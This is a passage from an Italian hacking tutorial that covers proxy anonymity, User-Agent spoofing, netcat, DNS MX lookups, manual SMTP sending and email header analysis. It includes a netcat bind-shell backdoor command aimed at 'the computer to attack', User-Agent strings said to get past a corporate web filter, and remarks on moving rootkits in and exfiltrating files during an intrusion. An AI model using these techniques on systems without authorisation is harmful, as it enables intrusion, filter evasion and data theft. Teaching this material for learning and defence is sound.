con i comandi che abbiamo visto anzi con molti meno, quindi l'azione diretta sul
server dà possibilità di ordine superiore.
Ultimamente mi capita di essere bersaglio di computer infetti che mandano virus
sul mio server di posta elettronica con nomi a caso e come dominio kensan.it, mi
sono arrivate decine di megabyte in poche ore intasandomi la mailbox.
In questi casi la soluzione migliore è accedere con una sessione telnet alla casella
elettronica, cancellare un po' di messaggi con il comando DELE e poi agire a livello di webmail per cancellare la rimanente parte di spam. In questo modo ho
evitato di scaricare lo spam per liberare la mia mailbox.
In ogni caso utilizzate Telnet solo se necessario, per vedere gli header nal caso
raro che il vostro server di posta non lo permette.
Con Gmail apriamo un messaggio e facciamo clic sul triangolino a destra vicino
a Rispondi e scegliamo “Mostra originale”
Per essere anonimi vi sono siti o proxy che lo fanno, rallentando di molto la connessione.
Di seguito vi sono due esempi utilizzando il proxy JAP e TOR.
ANONIMI: Utilizzare servizi online
Molto più veloce e semplice è utilizzare un servizio on line come silentsurf
http://silentsurf.co.uk/ proviamolo:
ci colleghiamo a http://www.whatismyip.com/ che ci dice il nostro IP:
Your IP Address Is: 151.48.74.245 ora colleghiamoci a silentsurf e da quì andiamo su http://www.whatismyip.com , sorpresa l’IP risulta: 92.48.84.227 , ma
dove si trova?
Andiamo su:
http://www.whatismyip.com/tools/ip-address-lookup.asp
e inseriamo l’IP sorpresa :
City
Region/State
Postal Code
Country Name Country Code Time Zone
UNITED KINGDOM
UK
+00:00
76
NASCONDERE IP CON IL PROXY JAP
Con proxy ip errato
77
Verifico mio IP collegandomi a whatinmyip.com
Attivo sul browser il proxy e mi mando una email (molto lento)
Leggo email attivando l’opzione avanzata per vedere gli header:
Ip falso
Mi collego a http://www.whatismyip.com/tools/ip-address-lookup.asp
che mi dice che ip proviene da una università degli USA
78
Aggirare i Controlli Modificando l’identità del Browser (e non solo)
Qualcuno avrà notato che nell’articolo precedente “3 Strumenti per Analizzare il
Protocollo HTTP” la stessa interrogazione forniva 2 risultati diversi in base allo
strumento utilizzato: o meglio in due casi restituiva il codice 200 (OK); in un caso invece, nel caso dell’interrogazione tramite netcat il risultato era 301 Moved
Permanently.Il perché di questi risultati discrepanti si trova negli header che il
client invia al server. Nei primi due casi viene inviato anche l’header “Host:”;
header mancante nel caso di netcat.
User Agent
Qui mi interessa presentare e introdurre gli header HTTP lato client.
In particolare un header, lo “User-Agent” può avere utilizzi sorprendenti.
Installare User Agent su Firefox: https://addons.mozilla.org/it/firefox/addon/59/
Facciamo subito un esempio pratico. Utilizzo Firefox per collegarmi a
www.libero.it. Il mio client (ovvero Firefox) è lo User Agent.
Notate inoltre il campo Host: www.libero.it senza il quale, come dicevo prima,
l’interrogazione non avrebbe esito positivo:
GET / HTTP/1.1
Host: www.libero.it
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16)
Gecko/20080702 Firefox/2.0.0.16
Come abbiamo visto il server sa che utilizzo Firefox 2.0.0.16 su piattaforma
Windows XP (Windows NT 5.1). Dati interessanti per le statistiche, ma anche utili per chi vuol sferrare attacchi mirati a questa piattaforma.
Lo User-Agent può essere contraffatto. E’ possibile travestire il browser facendolo passare per Internet Exploter o Opera (o qualsiasi altro User-Agent).
Con Firefox possiamo ottenere questo tramite l’estensione User Agent Switcher.
Una volta installata potremmo facilmente cambiare l’identità del nostro Firefox,
selezionando dal menù Strumenti -> User Agent Switcher e quindi l’identità
scelta.
Ecco una sessione con il mio Firefox travestito da Internet Explorer:
GET / HTTP/1.1
Host: www.libero.it
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Il server di Libero pensa di aver ricevuto la visita da un Explorer 7 su Vista
(Windows NT 6.0).
79
Come utilizzare questa tecnica? Per esempio aggirando il controllo di accesso
basato su User-Agent.
Qualche tempo fa apparve su Geekissimo un trucco che permetteva di leggere
online delle riviste. Il sito era destinato ai soli utenti iPhone: il controllo era basato sulla verifica dello User-Agent.Bastava travestire Firefox da iPhone, utilizzando User Agent Switcher con Mobile Safari 1.1.3 – iPhone come identità ed il
sito, prima riservato ai soli utenti iPhone, diventava accessibile a tutti!
Un altro modo di utilizzare il travestimento User-Agent è quello per aggirare i
controlli Websense.
Websense è un software utilizzato nelle grandi realtà aziendali per filtrare il traffico HTTP e inibire l’accesso a siti come MySpace, a siti pronografici, di warez,
e tutti i siti che in genere non hanno a che vedere con le attività lavorative di
un’azienda.La versione Enterprise 6.3.1 di Websense era affetto da un bug che
permetteva di aggirare i filtri modificando lo User-Agent.
Utilizzando uno dei seguenti parametri:
User Agent : RealPlayer G2
User Agent : MSMSGS
User Agent : StoneHttpAgent
si poteva navigare sui siti censurati.
Questi sono solo due esempi, potrebbero essercene altri.
Il mascheramento ha un antidoto. Esiste un progetto, il Broeserrecon Project che
ha come finalità lo sviluppo un sistema di fingerprinting passivo dei browser.
Questo significa che Browserrecon è in grado di riconoscere un browser (o tentare di riconoscerlo) tramite un’analisi che si spinga oltre l’analisi dello UserAgent.
Facciamo un esperimento. Travesto il mio Firefox da Opera/Vista con User Agent Switcher e navigo sulle pagine di Browserrecon. Ecco il risultato:
your browser sent via http_user_agent
Opera/9.25 (Windows NT 6.0; U; en)
fingerprinting identification with browserrecon (21 hits possible)
Mozilla Firefox 2.0.0.14 (90.48% with 19 hits)
Sgamato (o quasi). In realtà uso la versione 2.0.0.16: forse non sono aggiornate
le firme.
Come si travestono i browser si possono travestire i server. E come si possono
individuare le vere identità degli uni, è possibile fare lo stesso con gli altri.
80
Creare una backdoor con Netcat
Cos’è una backdoor?
Una “porta di servizio” che permette l’amministrazione remota del computer.
In genere dopo aver ottenuto l’accesso al computer l’hacker ha la necessità di
tornare nel sistema in modo più agevole, oppure ha bisogno di un’interfaccia a
linea di comando (shell) con la quale poter agire comodamente.
In questo articolo vediamo come collegare a netcat in ascolto su di una porta Tcp
la shell di sistema.
Per attivare netcat come backdoor usiamo il seguente comando sul computer da
attaccare:
nc -l -p 9999 -vv -e cmd.exe
Vediamo nel dettaglio. Il parametro -l lo abbiamo già visto nell’articolo sul trasferimento di file e dice a netcat di “ascoltare” sulla porta Tcp indicata dal parametro -p, in questo caso 9999 (valore arbitrario). Il cuore della tecnica è il parametro -e, che seguito da cmd.exe istruisce netcat a eseguire (-e ovvero exec) il
comando specificato (cmd.exe, la shell di Windows) veicolando l’input/output
attraverso netcat stesso.
Come ci si collega ad un host su cui è stata messa questa backdoor? Ma naturalmente con netcat!
Se il computer sotto controllo ha come indirizzo Ip 192.168.0.1, otterremo
l’accesso remoto con il comando:
nc 192.168.0.1 9999 -vv
ci troveremo di fronte al prompt dei comandi di Windows; solo che questo
prompt non è della nostra macchina, ma quello della macchina remota!
Per uscire dalla backdoor basta semplicemente digitare exit e la connessione si
chiude. E qui c’è un problema.
Una volta chiusa la connessione in netcat remoto smette di ascoltare, semplicemente termina l’esecuzione; quindi non sarà più possibile collegarsi da remoto.
Per aggirare questo problema ci viene in soccorso il parametro -L.
nc -L -p 9999 -vv > trojan <– notare la L maiuscola al posto di -l
81
Il parametro -L istruisce netcat a mantenere aperta la porta e restare in ascolto
anche quando il programma eseguito con il comando -e viene interrotto. Così si
potrà entrare e uscire dal sistema a piacere.
Un avvertimento necessario: questa tecnica è pericolosissima! Aprire una backdoor in questo modo, aprire una shell senza la protezione di una password è
quasi un suicidio, significa spalancare una porta del sistema a chiunque. Se lo fate su un vostro sistema, se proprio dovete farlo, fatelo per periodi brevissimi e su
porte non standard o non facilmente intuibili (9999 e 12345 non vanno benissimo).
Leggere gli header HTTP e le pagine Web con Netcat
Con Netcat è possibile interagire direttamente con il protocollo
HTTP. Questa interazione favorisce operazioni come l’analisi delle intestazioni
oppure la contraffazione di campi, come per esempio lo User-Agent. Inoltre è
possibile scaricare pagine web come con un browser.
Abbiamo visto in un altro articolo come sia possibile visualizzare gli header
HTTP e stabilire il tipo di web server (pag 38) Nell’articolo citato venivano presentati tre strumenti. L’esempio riferito a Netcat differiva dagli altri. Nella risposta il codice di errore non indicava 200 ma 301. In quell’esempio mancava un
campo: Host.
Il campo Host viene utilizzato per specificare a quale host fa riferimento la risorsa richiesta. Può accadere infatti (è molto frequente a dire il vero) che un solo
server ospiti diversi siti; in questo caso ad un unico indirizzo IP fanno riferimento diversi domini. Quindi è necessario specificare in modo dettagliato qual’è
l’indirizzo preciso. Il campo Host dell’header HTTP serve proprio a questo scopo. Se un web server supporta il virtual hosting e ospita diversi siti, alla richiesta
di una risorsa senza il campo Host dichiarato non saprà come rispondere e restituirà un messaggio di errore, nel caso dell’esempio dell’altro articolo codice 301.
Quindi per ottenere gli header (o una pagina) dal web tramite Netcat è necessario
inserire sempre il campo Host.
Per semplificare le operazioni di interrogazione è utile crearsi in precedenza un
file di testo contenente i codici HTTP, senza doverli scrivere “in diretta” e rischiare di pasticciare.
Per leggere gli header di risposta di un server facciamo così:
82
1. Creiamo un file di testo con i comandi HTTP
HEAD / HTTP/1.0
Host: www.libero.it
ricordandoci di andare a capo due volte alla fine del testo (dopo Host:
www.libero.it). Salviamo il file col nome header.txt
2. Invochiamo Netcat dalla linea di comando:
nc www.libero.it 80 -vv < header.txt
dove naturalmente www.libero.it è l’host che ci interessa, 80 è la porta TCP e il
parametro -vv costringe Netcat a dareci informazioni sull’operazione in corso,
utile per capire quando e perché qualcosa è andato storto.
risultato:
HTTP/1.1 200 OK
Date: Wed, 01 Oct 2008 21:59:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
E’ possibile anche travestire Netcat da Firefox (o da Explorer o Opera…Pag 41)
Per attuarla con Netcat basta inserire il campo User-Agent specificando il tipo di
browser che desideriamo impersonare.
Modifichiamo il file header.txt in questo modo:
HEAD / HTTP/1.0
Host: www.libero.it
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.17)
Gecko/20080829 Firefox/2.0.0.17
ricordando sempre il doppio a capo (due volte enter) alla fine. Eseguendo di
nuovo l’interrogazione libero.it registrerà sui suoi log la visita e la attribuirà ad
un browser Firefox.
83
Recuperare pagine web
Per recuperare una pagina web con Netcat dobbiamo utilizzare il comando HTTP
GET al posto di HEAD e specificare l’URL. Per scaricare la home page di PillolHacking.Net modifichiamo il file header in questo modo:
GET / HTTP/1.0
Host: www.pillolhacking.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17
ed eseguiamo:
nc www.pillolhacking.net 80 -vv < header.txt > pillolhacking.html
da notare la fine della riga: > pillolhacking.html. Questo fa in modo che la pagina venga salvata nel file pillolhacking.html. Naturalmente il file conterrà anche
l’header HTTP oltre al codice HTML della pagina.
Come Scoprire il Mail Server di un Dominio con Nslookup (pag 29)
Quando si invia un’email il sistema deve conoscere il server SMTP incaricato di
recapitare la posta elettronica di un dato dominio. Questa operazione viene effettuata tramite un’interrogazione al DNS, alla ricerca dei record MX. Ho scritto
“dei record” perché i record MX, ovvero le informazioni che il DNS utilizza per
identificare i server di posta elettronica, potrebbero essere più di uno.
Possiamo conoscere quale server gestisce la posta interrogando il DNS manualmente. Per farlo è possibile utilizzare nslookup dalla linea di comando.
Apriamo una shell (cmd.exe su Windows) ed entriamo in nslookup digitando il
nome del comando:
C:\nslookup
Otterremo l’accesso al prompt di nslookup:
Server predefinito: resolver1.opendns.com
Address: 208.67.222.222
Per effettuare l’interrogazione dobbiamo specificare che siamo alla ricerca di record MX:
> set q=mx
84
dove q sta per query. A questo punto non rimane che digitare il nome del dominio di cui vogliamo ottenere gli indirizzi dei server SMTP:
> set q=mx
> pillolhacking.net
Server: resolver1.opendns.com
Address: 208.67.222.222
Risposta da un server non di fiducia:
pillolhacking.net
MX preference = 10, mail exchanger = m-04b.th.seeweb.it
pillolhacking.net
MX preference = 20, mail exchanger = smtp-avas.seeweb.it
La risposta del DNS mostra i due server che gestiscono la posta di pillolhacking.net.
Quando qualcuno scrive un’email a pillolhacking.net, il server incaricato di recapitarla è m-04b.th.seeweb.it.
Da notare i valori MX preference che indicano la priorità di utilizzo del server. Il
numero più basso indica la priorità maggiore. Il server con il valore MX preference più basso (in genere 10) viene utilizzato per inviare la posta; gli altri sono
utilizzati come backup nel caso in cui il server principale non dovesse esere disponibile.
Per curiosità possiamo guardare a casa di altri più celebri sistemi come Google:
> gmail.com
Server: resolver1.opendns.com
Address: 208.67.222.222
Risposta da un server non di fiducia:
gmail.com
MX preference = 10, mail exchanger = alt2.gmail-smtpin.l.google.com
gmail.com
MX preference = 50, mail exchanger = gsmtp147.google.com
gmail.com
MX preference = 50, mail exchanger = gsmtp183.google.com
gmail.com
MX preference = 5, mail exchanger = gmail-smtp-in.l.google.com
gmail.com
MX preference = 10, mail exchanger = alt1.gmail-smtpin.l.google.com
>
e perchè non la CIA?
> cia.gov
Server: resolver1.opendns.com
Address: 208.67.222.222
Risposta da un server non di fiducia:
cia.gov MX preference = 10, mail exchanger = mail2.ucia.gov
85
cia.gov MX preference = 10, mail exchanger = mail1.ucia.gov
Inviare Email con Netcat
L’invio di posta elettronica su Internet si effettua tramite un protocollo chiamato SMTP, ovvero Simple Mail Transfert Protocol.
L’SMTP è un protocollo testuale: si inviano comandi semplicemente collegandosi al server e digitandoli.
Le azioni che andremo a vedere sono le stesse azioni che effettua automaticamente un qualsiasi client di posta elettronica come Outlook o Thunderbird. Noi
lo faremo manualmente, con l’ausilio di netcat.
Per inviare un’email manualmente occorre seguire alcuni passi:
1.
2.
3.
4.
5.
6.
7.
Trovare il server SMTP del destinatario
Collegarsi al server
Invia il comando di riconoscimento HELO
Specificare l’indirizzo del mittente
Specificare l’indirizzo del destinatario
Digitare il corpo dell’email
Uscire dalla sessione
Vediamo nel dettaglio:
1. Trovare il server SMTP del destinatario
Spesso il server SMTP di un dominio è mail.nomedominio.it o
smtp.nomedominio.com.
Si potrebbe utilizzare anche un qualsiasi server smtp open relay. Questi server,
utilizzati dagli spammer, sono come dei proxy: permettono di inviare email a
qualsiasi dominio.
Invece i server smtp di un dominio specifico inviano solo email destinate a (o
provenienti da) utenti del dominio stesso.
Se per esempio volessi inviare un’email ad [email protected] potrei usare
un qualsiasi server smtp open relay o il server smtp del dominio pillolhacking.net.
86
2. Collegarsi al server
Una volta trovato il server entra in scena netcat. Per collegarsi si usa il seguente
comando:
nc mail.pillolhacking.net -vv 25
dove mail.pillolhacking.net è l’indirizzo del server del dominio pillolhacking.net
e 25 è la porta Tcp standard del protocollo smtp.
In realtà mail.pillolhacking.net è un alias per m-04.th.seeweb.it.
3. Invia il comando di riconoscimento HELO
Se tutto è andato bene appare la scritta:
m-04.th.seeweb.it [217.64.195.227] 25 (smtp) open
e noi ci presentiamo al server con il comando HELO. Il comando HELO necessita di un parametro. In genere i client mettono il nome del computer. Si può mettere qualsiasi stringa. In questo esempio metto il mio nick name:
HELO angelor
il server risponde:
220 m-04.th.seeweb.it ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3
250 m-04.th.seeweb.it Hello [xxx.xxx.xxx.xxx], pleased to meet you
Da notare che viene presentato il tipo di software utilizzato (Sendmail), la versione (8.13.4) e il sistema operativo (Debian): informazioni preziose se volessimo pianificare un attacco.
SMTP è un protocollo gentile, il server mi da il benvenuto: pleased to meet you.
4. Specificare l’indirizzo del mittente
Entriamo nel vivo. Bisogna specificare l’indirizzo del mittente. Lo facciamo con
il comando MAIL FROM:
MAIL FROM: [email protected]
il server risponde:
250 2.1.0 [email protected]… Sender ok
87
Naturalmente nessuno ci obbliga a mettere il nostro vero indirizzo email, ma è
anche vero che nell’email inviata appararirà il nostro vero indirizzo Ip: chi volesse fare scherzi è avvisato.
5. Specificare l’indirizzo del destinatario
Ora specifichiamo l’indirizzo email del destinatario con il comando RCPT TO:
RCPT TO: [email protected]
250 2.1.5 [email protected]… Recipient ok
Anche in questo caso tutto bene. Se avessi fornito un indirizzo non appartenente
al dominio pillolhacking.net l’email sarebbe stata rifiutata.
6. Digitare il corpo dell’email
Per scrivere il corpo dell’email bisogna digitare il comando DATA, Tutto quello
che viene digitato dopo questo comando apparirà nell’email una volta ricevuta
dal destinatario. In pratica ci troviamo in una modalità editor, modalità dalla quale si esce digitando un punti (.) su di una riga vuota:
DATA
354 Enter mail, end with “.” on a line by itself
Cao, questa email l’ho scritta con netcat!
.
250 2.0.0 x1ADG5zo125562 Message accepted for delivery
Una volta digitato il punto (e premuto return) l’email viene messa in coda e inviata appena possibile (nel giro di pochi secondi in genere).
7. Uscire dalla sessione
Non rimane che congedarsi dal server concludendo la sessione. Basta digitare il
comando QUIT:
QUIT
221 2.0.0 m-04.th.seeweb.it closing connection
Provate con un indirizzo a vostra disposizione. Nel giro di pochi secondi vi vedrete recapitare l’email.
88
Netcat Come Scanner
Fino ad ora abbiamo visto come usare netcat per inviare e leggere
email e come interrogare il web. Cose sicuramente interessanti ma che possono
essere fatte anche con telnet.
Ma netcat si differenzia da telnet, può essere utilizzato anche per compiti più
complessi di una connessione ad un servizio Tcp. A partire da questo articolo e
nei prossimi vedremo degli esempi del potenziale di netcat.
Dicevamo, netcat come scanner. Certo non si può paragonare a nmap, ma nel suo
piccolo può essere utile, per un veloce controllo delle porte Tcp di un host.
Vediamo come fare. Nell’esempio faccio una scansione del mio PC:
nc -vv -w2 127.0.0.1 130-140
questo comando effettua la scansione in sequenza delle porte Tcp da 130 a 140.
Dell’opzione -vv ho già detto negli articoli precedenti; -w2 indica il tempo espresso in secondi di attesa della risposta; poi viene l’indirizzo Ip dell’host e la
serie di porte. Ecco il risultato:
C:\Documents and Settings\angelor>nc -vv -w2 127.0.0.1 130-140
localhost [127.0.0.1] 140 (?): connection refused
localhost [127.0.0.1] 139 (netbios-ssn): connection refused
localhost [127.0.0.1] 138 (?): connection refused
localhost [127.0.0.1] 137 (netbios-ns): connection refused
localhost [127.0.0.1] 136 (?): connection refused
localhost [127.0.0.1] 135 (epmap) open
net timeout
localhost [127.0.0.1] 134 (?): connection refused
localhost [127.0.0.1] 133 (?): connection refused
localhost [127.0.0.1] 132 (?): connection refused
localhost [127.0.0.1] 131 (?): connection refused
localhost [127.0.0.1] 130 (?): connection refused
89
Trasferire File con Netcat
come usare netcat per trasferire file tra due computer tramite una rete Tcp/Ip.
Questa caratteristica di netcat può essere utile in diversi casi. Può essere il modo
più semplice e veloce per passare file tra due computer senza dover attivare condivisioni o installare servizi. Oppure durante un penetration test o durante
un’intrusione può essere molto utile portare velocemente sul computer sotto attacco trojan, rootkit o altri strumenti; oppure può essere necessario esfiltrare file
senza lasciare tracce nei log. Un altro punto forte di questa tecnica è la diffusione
di netcat sulle macchine Unix/Linux. Se si deve portare dei file su un Linux in
rete senza troppi problemi si può utilizzare netcat.
La tecnica è abbastanza semplice: si usano due netcat, uno sulla macchina sorgente e uno sulla macchina di destinazione. Quest’ultimo avrà la funzione di
server.
Netcat può agire come server. Questo significa che può mettersi “in ascolto” su
di una porta Tcp e attendere una connessione. Per attivare questa funzione bisogna specificare sulla riga di comando il parametro -l (listen) e specificare la porta
(-p):
nc -l -p 9999 -vv > miofile
Questo comando mette netcat in ascolto sulla porta 9999; l’output viene reindirizzato al file miofile tramite il simbolo >.
Questo significa che tutto quello che netcat riceverà sulla rete attraverso la porta
9999 verra memorizzato in un file di nome miofile. Sia il valore della porta (in
questo caso 9999), sia il nome del file (miofile), sono arbitrari, possono essere
qualsiasi cosa.
Mentre sul server netcat “ascolta”, sulla macchina sorgente, ovvero sulla macchina sulla quale è memorizzato il file da trasmettere al server, dovremo usare
unnetcat in modalità client per inviare i dati del file da trasferire:
nc 127.0.0.1 9999 -vv < miofile
Con questo comando invio il file “miofile” tramite la redirezione dell’input ottenuta con il simbolo < all’host 127.0.0.1, ovvero il computer sul quale netcat è in
90
“ascolto”, sulla porta 9999. In questo esempio ho utilizzato l’indirizzo del computer locale (127.0.0.1), ma nella realtà naturalmente l’indirizzo dovrà coincidere
con l’Ip reale del computer server. Ovvero se il computer sul quale netcat è in
ascolto in modalità server è 192.168.0.1, nel netcat in modalità client dovrò indicare proprio questo indirizzo.
Un’ultima considerazione: netcat non fornisce un indicatore di progresso del trasferimento in corso; per sapere quando il trasferimento stesso è terminato occorre
controllare con il comando dir ols le dimensioni crescenti del file.
91
La lettura degli header: fondamenti
Come avviene la trasmissione di un messaggio di e-mail
Quando si spedisce una e-mail da un computer ad un altro attraverso la rete, ciò
che succede non è la semplice copia di un file di testo da un disco fisso ad un altro. La principale differenza è che, oltre ai due computer mittente e destinatario,
ne sono coinvolti anche altri. Un primo computer che non si vede è quello ove risiede la casella del destinatario. Questo computer, che deve essere per quanto
possibile sempre attivo e accessibile in rete, ha il compito di ricevere tutte le email dirette agli utenti che hanno la casella su di esso e conservarle finché ciascun destinatario, con suo comodo, non avrà provveduto a scaricarle. Spesso ci si
riferisce a tale computer come POP server.
Il mittente, così come il destinatario, sul proprio computer dispone solamente di
un client di posta elettronica, ossia un programma in grado di gestire un archivio
di e-mail (in arrivo e in partenza), di scaricare la posta in arrivo da un POP server
e spedire posta tramite protocollo SMTP.
In teoria, il mail client del mittente potrebbe, tramite la rete, aprire una sessione
direttemente con il POP server su cui risiede la casella del destinatario, ma ciò in
genere non avviene per ragioni pratiche: è opportuno che il client sia configurato
per parlare sempre con uno stesso server, demandando a questo il compito di
contattare, attraverso la rete, il server del destinatario.
Pertanto, è consuetudine di tutti i provider mettere a disposizione dei propri
clienti anche un server della posta in partenza, di solito chiamato SMTP
server.Capita, in qualche caso, che POP server e SMTP server siano la stessa
macchina: ciò è possibile in quanto i due servizi vengono svolti attraverso porte
distinte. (25 SMTP ,110 POP-3) Sapendo questo, passiamo a vedere come è
fatto un normale messaggio di e-mail e quali vicissitudini subisce, dal momento
in cui il mail client del mittente lo immette in rete, al momento in cui viene consegnato al mail client del destinatario.
Gli header di un messaggio di e-mail
Il mail client del mittente preparerà il messaggio in una forma di questo genere:
From: [email protected] (Mario Rossi)
To: [email protected]
Date: Wed, 15 Apr 2010 14:24:06 +0200
X-Mailer: Gorilla 3.2 (Win95; I)
Subject: Richiesta informazioni sulle vs. iniziative
92
Le sarei grato se mi facesse pervenire il programma delle
gite per l'estate 2010, possibilmente completo dei relativi costi.
Ringraziando porgo distinti saluti
Mario Rossi
In questo esempio è importante osservare che, prima del testo del messaggio vero e proprio, si hanno alcune righe scritte nella forma:
nome-header: valore-testuale
Ciascuna di queste righe è un header, e gli standard di rete prescrivono, tra le altre cose, i nomi degli header e la forma in cui deve essere espresso il corrispondente valore testuale.
Molti di questi header hanno una funzione evidente: From: e To:, per esempio,
sono analoghi all'indirizzo del destinatario e del mittente che, quando si invia una
lettera per posta ordinaria, usa scrivere in alto, prima del testo vero e proprio, nel
foglio che si include nella busta. Si notano poi la data e ora di spedizione, espresse in vari formati non del tutto comodi da leggere (è compito del mail client effettuare tutte le conversioni).
Quanto al campo X-Mailer:, l'esempio dice che, per preparare il messaggio, è
stato usato un programma che si chiama "Gorilla" versione 3.2, con alcune altre
informazioni secondarie. Per i campi con nomi del tipo X-qualunquecosa:
non esistono standard: ogni mail client è libero di inventarsi tutti gli header Xche crede, e con essi comunicare qualunque tipo di informazione: il protocollo ha
il compito di farli giungere a destinazione, ignorandoli per ogni altro effetto.
La fine degli header è segnalata mediante una riga vuota (che in questo caso è
posta dopo il campo Subject:). Il significato di tale riga vuota è quindi che gli
header sono finiti e che tutto ciò che segue è il vero e proprio testo del messaggio.
Esistono molti altri campi standard che i mail client potrebbero inserire (e spesso
lo fanno). Tra questi si può ricordare il Reply-to:, nel quale è possibile indicare un indirizzo di e-mail a cui inviare eventuali risposte, qualora questo debba
essere preferibilmente diverso da quello indicato nel campo From:.
Dunque, il mail client prepara tutte le righe di testo, header e messaggio, come
abbiamo visto sopra, e li passa al server SMTP prescelto. Prima però di vedere
che tipo di viaggio fa il nostro testo, fermiamoci a riflettere su una cosa molto
importante: chi mette gli header in testa al messaggio da trasmettere è, come abbiamo detto, il mail client, ossia un programma in esecuzione sul computer del
mittente. Tale programma è quindi sotto il completo controllo del mittente: questo sceglie quale programma adottare e come configurarlo. Anzi, potrebbe farsi
realizzare da qualcuno un programma su misura per le sue esigenze (quando non
93
farselo addirittura lui stesso). Questo in concreto cosa significa: che i valori forniti in tutti quegli header non significano nulla. Normalmente nel campo From:
il mittente mette il proprio vero indirizzo, perché normalmente non si manda
spam, ma si comunica con qualcuno che si desidera possa rispondere. Lo spammer, nella maggior parte dei casi, non desidera affatto che le sue vittime gli possano rispondere, quindi di solito se ne guarderà bene dal fornire un campo
From: autentico. Anche il campo To: non ha valore, poiché non è in base al
suo contenuto che si determina la destinazione del messaggio.
Non bisogna lasciarsi fuorviare dal contenuto del campo To:. Nel campo To:
può benissimo essere stato impostato un indirizzo del tipo [email protected] e, come vedremo tra poco, nonostante ciò il messaggio arriverà regolarmente a tutti i destinatari prescelti.
Vediamo, proprio a questo proposito, un esempio reale: qualche header di un
messaggio di spam.
Date: Mon, 09 Feb 1998 23:27:13 -0500 (EST)
From: [email protected]
Indirizzo
Subject: Important Message
To: [email protected]
Reply-To: [email protected]
Message-Id: <<209.133.27.38> [email protected]>
X-Pmflags: 6336476446536565465365
Comments: Authenticated sender is <Mail.INS.com>
X-UIDL: <209.133.27.38>
Thank-you, for visiting www.aaaaa.com.
.......
Here is the information you requested.
[eccetera]
di fantasia
Messaggio
Notiamo alcune cose. Tanto per incominciare il campo From:, in cui hanno
messo un indirizzo di fantasia attestato niente meno che presso il mio stesso provider; quanto al campo To:, compare un destinatario (probabilmente inesistente)
presso una università americana. Probabilmente lo spammer mi vuole indurre a
pensare che il messaggio sia giunto a me per errore; simili errori, però, nella realtà della rete non si verificano. Ci sono poi vari header che non ci interessa discutere qui: nessuno di essi ha importanza. Vorrei far notare quello che dice: "Authenticated sender is ...": è tutto fumo negli occhi; quando vedete frasi tipo Authenticated sender o simili, non c'è proprio niente di autentico. Questo header,
così come quello precedente (X-Pmflags:) viene inserito da Pegasus Mail, un
famoso programma mail client. Non è detto però che questo messaggio sia effet-
94
tivamente stato inviato usando Pegasus, più probabilmente è stato usato un client
costruito apposta per spammer (ne esistono), che cerca di simulare l'uso di Pegasus.Possiamo anche dare un'occhiata alle prime righe del messaggio: notate il
tentativo di far passare l'e-mail come sollecitata ("grazie per aver visitato il nostro sito", che io ovviamente non avevo visitato affatto, "ecco l'informazione che
avevi richiesto" eccetera). Tutti questi trucchi non valgono nulla: l'importante è
non farsene confondere.Quindi, di regola, lo spammer configurerà il proprio software in modo da nascondere il più possibile ogni sua traccia e, in molti casi,
cercherà addirittura di inserire degli header fasulli per trarre in inganno chi cercasse di individuarlo.
Ma torniamo a noi. Il mail client del mittente apre una sessione sulla porta 25 del
server SMTP. Ha luogo un dialogo come quello che segue; vediamo qui come alternativamente si susseguano le risposte del server e gli input forniti dal mail
client. Le risposte ed i messaggi inviati dal server iniziano tutti con un codice
numerico di tre cifre, seguito da uno spazio e da un testo che ne chiarisce il significato. Il codice numerico è comunque sufficiente, secondo gli standard, per individuare univocamente il significato della riga e determinare quale debba essere
il successivo passo del dialogo. Qualora il server dovesse segnalare un errore,
emetterebbe una riga in cui il codice numerico inizierebbe con la cifra '5' (così
stabiliscono gli standard).
In astratto, comunque, il mittente potrebbe anche fare a meno del mail client: gli
basterebbe collegarsi al server mediante telnet ed eseguire a mano tutto ciò che il
mail client farebbe automaticamente. Sarebbe molto più scomodo ma possibile.
220 mail.prima-rete-esempio.com ESMTP server
(Post.Office v3.1.2 release (PO203-101c)...) ready
Wed, 15 Apr 1998 14:26:31 +0200
HELO mariorossi
250 mail.prima-rete-esempio.com
MAIL FROM:<[email protected]>
250 Sender <[email protected]> Ok
RCPT TO:<[email protected]>
250 Recipient <[email protected]> Ok
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
From: [email protected] (Mario Rossi)
To: [email protected]
Date: Wed, 15 Apr 1998 14:24:06 +0200
X-Mailer: Gorilla 3.2 (Win95; I)
Subject: Richiesta informazioni sulle vs. iniziative
Le sarei grato se mi facesse pervenire il programma delle
95
gite per l'estate 98, possibilmente completo dei
relativi costi.
Ringraziando porgo distinti saluti
Mario Rossi
.
250 Message received:
[email protected]
QUIT
221 mail.prima-rete-esempio.com ESMTP server
closing connection
Nota al comando MAIL. Quando un server, dopo aver accettato un messaggio,
scoprisse che è impossibile consegnarlo, deve generare una email di avviso dell'errore (il cosidetto bounce) e inviarlo all'indirizzo indicato nel parametro
FROM: del comando MAIL. Per evitare, in caso di errore nella consegna del
bounce, un nuovo bounce e così eventualmente una situazione di loop, è consuetudine che, nel comando MAIL con cui sono inviati i messaggi di bounce, sia
specificato FROM:<>
È richiesto dagli standard, pertanto, che i server non considerino il parametro
FROM: vuoto come un errore per causa del quale rifiutare un messaggio in arrivo.
Ora vediamo che fa il nostro SMTP server dopo aver accettato il messaggio per
l'inoltro. Cercherà di contattare il mail server destinatario e, una volta riuscito a
stabilire una sessione con esso, gli passerà il messaggio usando lo stesso identico
meccanismo che abbiamo appena visto applicare da parte del mail client. Che
succedesse questo, in effetti, potevamo aspettarcelo; la novità è che, al nuovo
server, il messaggio non verrà passato identico a come era stato preparato dal
mail client nel passo precedente: al messaggio verranno aggiunti nuovi header
(generalmente un paio), per lasciare traccia del fatto che sia transitato da quel
server. Vediamo come diventa:
Received: from mariorossi (ppp26-milano.prima-rete-esempio.com
[194.188.15.26])
by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493
for <[email protected]>; Wed, 15 Apr 1998 14:26:32
+0200 (METDST)
From: [email protected] (Mario Rossi)
To: [email protected]
Date: Wed, 15 Apr 1998 14:24:06 +0200
Message-ID: <[email protected]>
